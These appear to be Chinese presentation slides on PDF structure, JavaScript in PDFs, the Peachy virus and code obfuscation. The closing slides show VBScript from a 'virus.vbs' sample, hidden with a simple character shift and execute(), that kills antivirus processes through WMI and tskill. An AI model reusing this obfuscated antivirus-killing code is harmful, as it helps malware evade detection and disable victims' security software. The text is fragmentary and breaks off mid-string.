PDF代碼混淆技術

PDF代碼混淆技術pdf-obfuscationB10040529宮天何B10040606楊靜平B10040605李慧靈目錄

PDF簡介

PDF文件結構

PDF與JavaScript

代碼混淆技術PDF簡介

PDF是PortableDocumentFormat（便攜文件格式）的縮寫，是一種電子文件格式，與操作系統平臺無關，由Adobe公司開發(fā)而成。PDF文件是以PostScript語言圖象模型為基礎，無論在哪種打印機上都可保證精確的顏色和準確的打印效果，即PDF會忠實地再現原稿的每一個字符、顏色以及圖象。PDF文件結構

(1)文件頭； (2)對象的建立聲明； (3)交叉引用表； (4)文件尾。PDF文件結構

PDF文件結構

——關于對象： PDF文檔是由一些稱為“對象”的模塊組成的。并且每個對象都有數字標號，這樣的話可以這些對象就可以北其他的對象所引用。 ——定義方式： 30obj << /Type/Pages /Count1 /Kids[40R] >> endobj鍵值對對象名稱結束標志PDF文件結構

HelloWorld文件頭PDF文件結構

交叉引用表： 交叉引用表記錄了每個對象在內存中的偏移地址。 文件尾： 文件尾部記錄了根對象名、信息對象名、對象總數及交叉引用表在內存中的偏移地址。PDF文件結構

HelloWorld交叉引用表文件尾PDF文件結構

HelloWorldPDF文件結構

演示： 1.將該PDF的內容由flate壓縮編碼改成文本ASCII編碼格式。 2.將“HelloWorld”改成“MyHelloWorld”。 技巧： 為了避免交叉引用表的修改，我們可以使用空格填充字符流對象使得該對象所占內存地址偏移量不變。

HelloWorldPDF文件結構

HelloWorld

20obj <</Length61>> streamBT /F124Tf100600Td (myHelloWorld)Tj ET endstream endobjPDF與JavaScript

AdobeAcrobatProfessional軟件可以使商業(yè)人士能夠可靠地創(chuàng)建、合并和控制AdobePDF文檔，以便輕松且更加安全地進行分發(fā)、協作和數據收集。制作PDF文檔的利器，辦公必備。近年來，Adobe公司一直在努力使Acrobat從一款簡單的PDF軟件發(fā)展成一個完整的數碼發(fā)布平臺，甚至增加了對三維圖片的支持。PDF與JavaScript

在PDF文件中可以嵌入JavaScript，例如： 80obj <</JS( //JavaScript代碼 )/S/JavaScript>> endobjPDF與JavaScript

利用Acrobat在PDF中添加JavaScript動作： app.alert("Test"); app.launchURL ("",true);PDF與JavaScript

PeachyVirus

SecurityexpertshavefoundthefirstvirusabletopropagatethroughAdobe’sencryptedportabledocumentformat(PDF)files,aformatoncethoughttobevirtuallyimpenetrable. 目前安全專家發(fā)現了首例通過加密的PDF繁殖的病毒，以往這種方式是很難以理解的。PDF與JavaScript

PeachyVirus

NamedPeachybyexpertsatWebsecurityfirmMcAfeeonTuesday,thee-mailvirushidesitselfinPDFfilesandinfectsothercomputersystemsbysendingthefileasanattachmentthroughtheMicrosoftOutlooke-mailprogram. 這種叫做Peachy的病毒在周二被McAfee證實了。它通過郵件把自己隱藏在PDF文件中，并感染其余通過Outlook發(fā)送的文件。PDF與JavaScript

PeachyVirus

ThevirusexploitsafeatureinAcrobatthatcombinesotherfileswiththePDFcode. 該病毒通過Acrobat的某種特點，將其余文件與PDF代碼進行合并。

——摘自abcNews代碼混淆技術

代碼混淆技術是一種重要的軟件保護方法，混淆的實質就是一種變換，通過這種變換把原來的代碼變成與其功能相同或相近的，但是更難被理解和反編譯的代碼。由于混淆技術可以根據不同的目的，不同的混淆對象采用不同的方法，這使得混淆方法非常多。代碼混淆技術

JavaScript基本常用方法： (1)字母替換 (2)[]與數字 (3)eval()函數 (4)escape()函數 (5)加密技術 (6)隨機變量名 …………代碼混淆技術

采用簡單的代碼混淆技術混淆病毒代碼。 這里將virus.vbs進行混淆?；煜绞讲捎眉用芊绞胶蚭xecute()函數。代碼混淆技術

加密方式： 可以采用對稱加密算法(如AES、RC4)進行加密。這里為了簡單直觀，采用了古典加密方式(仿射加密，取a=1,b=1) execute()函數： 類似于JavaScript中的eval()函數。使用方法為excute(Stringcode)，其中code是代碼的字符串形式，效果是執(zhí)行該代碼。

代碼混淆技術

例如： execute("i=3") execute("j=i+1") msgbox(j) 結果為4。

代碼混淆技術

Functionde(x) dimp,ch,i,l p="" l=Len(x) fori=1tol ch=mid(x,i,1) ch=chr(asc(ch)-1) p=p&ch next de=p endfunction

這是一個解密函數：它的效果是將字符串中每個字母的ASCII值減去1。例如：x="bcd"則，de(x)="abc"代碼混淆技術

原來： CallKillProcess(ProcessNames) 可以混淆為： ss="Dbmm!LjmmQspdftt)QspdfttObnft*" ss=de(ss) execute(ss)

代碼混淆技術

OnErrorResumeNext DimProcessNames dima0,a1,a2,a3,a4,a5,ssa0="mspaint.exe" a1="ras.exe" a2="360tray.exe" a3="SREng.exe" a4="USBAntiVir.exe" a5="KAVStart.exe" ProcessNames=Array(a0,a1,a2,a3,a4,a5) CallKillProcess(ProcessNames)

a0="ntqbjou/fyf" :a0=de(a0)a1="sbt/fyf"

:a1=de(a1)a2="471usbz/fyf"

:a2=de(a2)a3="TSFoh/fyf"

:a3=de(a3)a4="VTCBoujWjs/fyf"

:a4=de(a4)a5="LBWTubsu/fyf"

:a5=de(a5)ss="Dbmm!LjmmQspdftt)QspdfttObnft*"ss=de(ss)execute(ss)代碼混淆技術

SetobjWMIServices=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIServices.Execquery("Select*Fromwin32_processwherename='"&ProcessName&"'")intReturn=objProcess.TerminateobjShell.Run"cmd.exe/c@tskill"&name_exe,0,Truess="Tfu!pckXNJTfswjdft!>!HfuPckfdu)#xjonhnut;]]#!'!tusDpnqvufs!'!#]sppu]djnw3#*"execute(de(ss))ss="Tfu!dpmQspdfttMjtu!>!pckXNJTfswjdft/Fyfdrvfsz)#!Tfmfdu!+!Gspn!xjo43`qspdftt!xifsf!obnf!>!(#!'!QspdfttObnf!'!#(!#*"execute(de(ss))ss="jouSfuvso!>!pckQsp